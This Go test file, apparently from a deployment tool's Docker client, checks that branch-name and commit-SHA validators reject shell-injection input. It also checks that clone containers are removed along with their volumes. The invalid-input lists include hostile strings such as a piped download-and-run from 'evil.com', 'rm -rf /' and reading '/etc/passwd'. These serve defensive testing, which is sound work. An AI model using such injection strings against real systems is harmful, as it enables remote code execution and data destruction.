The pinned alpine/git image declares a volume at /git, so Docker gives every clone container an anonymous volume. The container was removed without its volumes, leaving one volume behind per deploy. The removal now also removes the container's anonymous volumes, on success and on failure. A test runs a clone against a fake Docker API and checks the removal asks for volumes to be removed. Model: opus-5-5
224 lines
5.0 KiB
Go
224 lines
5.0 KiB
Go
package docker //nolint:testpackage // tests unexported regexps and Client struct
|
|
|
|
import (
|
|
"errors"
|
|
"fmt"
|
|
"log/slog"
|
|
"net/http"
|
|
"net/http/httptest"
|
|
"net/url"
|
|
"path/filepath"
|
|
"strings"
|
|
"testing"
|
|
|
|
"github.com/docker/docker/client"
|
|
)
|
|
|
|
// mainBranch is the branch name used across validation tests.
|
|
const mainBranch = "main"
|
|
|
|
func TestValidBranchRegex(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
valid := []string{
|
|
mainBranch,
|
|
"develop",
|
|
"feature/my-feature",
|
|
"release-1.0",
|
|
"v1.2.3",
|
|
"fix/issue_42",
|
|
"my.branch",
|
|
}
|
|
for _, b := range valid {
|
|
if !validBranchRe.MatchString(b) {
|
|
t.Errorf("expected branch %q to be valid", b)
|
|
}
|
|
}
|
|
|
|
invalid := []string{
|
|
"main; curl evil.com | sh",
|
|
"branch$(whoami)",
|
|
"branch`id`",
|
|
"branch && rm -rf /",
|
|
"branch | cat /etc/passwd",
|
|
"",
|
|
"branch name with spaces",
|
|
"branch\nnewline",
|
|
}
|
|
for _, b := range invalid {
|
|
if validBranchRe.MatchString(b) {
|
|
t.Errorf("expected branch %q to be invalid (potential injection)", b)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestValidCommitSHARegex(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
valid := []string{
|
|
"abc123def456789012345678901234567890abcd",
|
|
"0000000000000000000000000000000000000000",
|
|
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
|
}
|
|
for _, s := range valid {
|
|
if !validCommitSHARe.MatchString(s) {
|
|
t.Errorf("expected SHA %q to be valid", s)
|
|
}
|
|
}
|
|
|
|
invalid := []string{
|
|
"short",
|
|
"abc123",
|
|
"ABCDEF1234567890123456789012345678901234", // uppercase
|
|
"abc123def456789012345678901234567890abcd; rm -rf /",
|
|
"$(whoami)000000000000000000000000000000000",
|
|
"",
|
|
}
|
|
for _, s := range invalid {
|
|
if validCommitSHARe.MatchString(s) {
|
|
t.Errorf("expected SHA %q to be invalid (potential injection)", s)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestCloneRepoRejectsInjection(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
c := &Client{
|
|
log: slog.Default(),
|
|
}
|
|
|
|
tests := []struct {
|
|
name string
|
|
branch string
|
|
commitSHA string
|
|
wantErr error
|
|
}{
|
|
{
|
|
name: "shell injection in branch",
|
|
branch: "main; curl evil.com | sh #",
|
|
wantErr: ErrInvalidBranch,
|
|
},
|
|
{
|
|
name: "command substitution in branch",
|
|
branch: "$(whoami)",
|
|
wantErr: ErrInvalidBranch,
|
|
},
|
|
{
|
|
name: "backtick injection in branch",
|
|
branch: "`id`",
|
|
wantErr: ErrInvalidBranch,
|
|
},
|
|
{
|
|
name: "injection in commitSHA",
|
|
branch: mainBranch,
|
|
commitSHA: "not-a-sha; rm -rf /",
|
|
wantErr: ErrInvalidCommitSHA,
|
|
},
|
|
{
|
|
name: "short SHA rejected",
|
|
branch: mainBranch,
|
|
commitSHA: "abc123",
|
|
wantErr: ErrInvalidCommitSHA,
|
|
},
|
|
{
|
|
name: "valid inputs pass validation (hit NotConnected)",
|
|
branch: mainBranch,
|
|
commitSHA: "abc123def456789012345678901234567890abcd",
|
|
wantErr: ErrNotConnected,
|
|
},
|
|
{
|
|
name: "valid branch no SHA passes validation (hit NotConnected)",
|
|
branch: mainBranch,
|
|
wantErr: ErrNotConnected,
|
|
},
|
|
}
|
|
|
|
for _, tt := range tests {
|
|
t.Run(tt.name, func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
_, err := c.CloneRepo(
|
|
t.Context(),
|
|
"git@example.com:repo.git",
|
|
tt.branch,
|
|
tt.commitSHA,
|
|
"fake-key",
|
|
"/tmp/container",
|
|
"/tmp/host",
|
|
)
|
|
if err == nil {
|
|
t.Fatal("expected error, got nil")
|
|
}
|
|
|
|
if !errors.Is(err, tt.wantErr) {
|
|
t.Errorf("expected error %v, got %v", tt.wantErr, err)
|
|
}
|
|
})
|
|
}
|
|
}
|
|
|
|
// TestPerformCloneRemovesContainerVolumes runs a clone against a fake Docker
|
|
// API and checks that the clone container is removed together with its
|
|
// anonymous volumes, whether the clone succeeds or fails.
|
|
func TestPerformCloneRemovesContainerVolumes(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, exitCode := range []int{0, 1} {
|
|
t.Run(fmt.Sprintf("exit code %d", exitCode), func(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
removeQuery := make(chan url.Values, 1)
|
|
|
|
srv := httptest.NewServer(http.HandlerFunc(
|
|
func(w http.ResponseWriter, r *http.Request) {
|
|
w.Header().Set("Content-Type", "application/json")
|
|
|
|
switch {
|
|
case r.Method == http.MethodDelete:
|
|
removeQuery <- r.URL.Query()
|
|
case strings.HasSuffix(r.URL.Path, "/containers/create"):
|
|
_, _ = w.Write([]byte(`{"Id":"gitcontainer"}`))
|
|
case strings.HasSuffix(r.URL.Path, "/wait"):
|
|
_, _ = fmt.Fprintf(w, `{"StatusCode":%d}`, exitCode)
|
|
default:
|
|
_, _ = w.Write([]byte(`{}`))
|
|
}
|
|
},
|
|
))
|
|
t.Cleanup(srv.Close)
|
|
|
|
dockerAPI, err := client.NewClientWithOpts(
|
|
client.WithHost("tcp://" + srv.Listener.Addr().String()),
|
|
)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
c := &Client{docker: dockerAPI, log: slog.Default()}
|
|
|
|
dir := t.TempDir()
|
|
cfg := &cloneConfig{
|
|
repoURL: "git@example.com:repo.git",
|
|
branch: mainBranch,
|
|
sshPrivateKey: "fake-key",
|
|
containerDir: filepath.Join(dir, "repo"),
|
|
hostDir: filepath.Join(dir, "repo"),
|
|
keyFile: filepath.Join(dir, "deploy_key"),
|
|
hostKeyFile: filepath.Join(dir, "deploy_key"),
|
|
}
|
|
|
|
_, _ = c.performClone(t.Context(), cfg)
|
|
|
|
select {
|
|
case query := <-removeQuery:
|
|
if query.Get("v") != "1" {
|
|
t.Errorf("clone container removed without its volumes: %v", query)
|
|
}
|
|
default:
|
|
t.Error("clone container was not removed")
|
|
}
|
|
})
|
|
}
|
|
}
|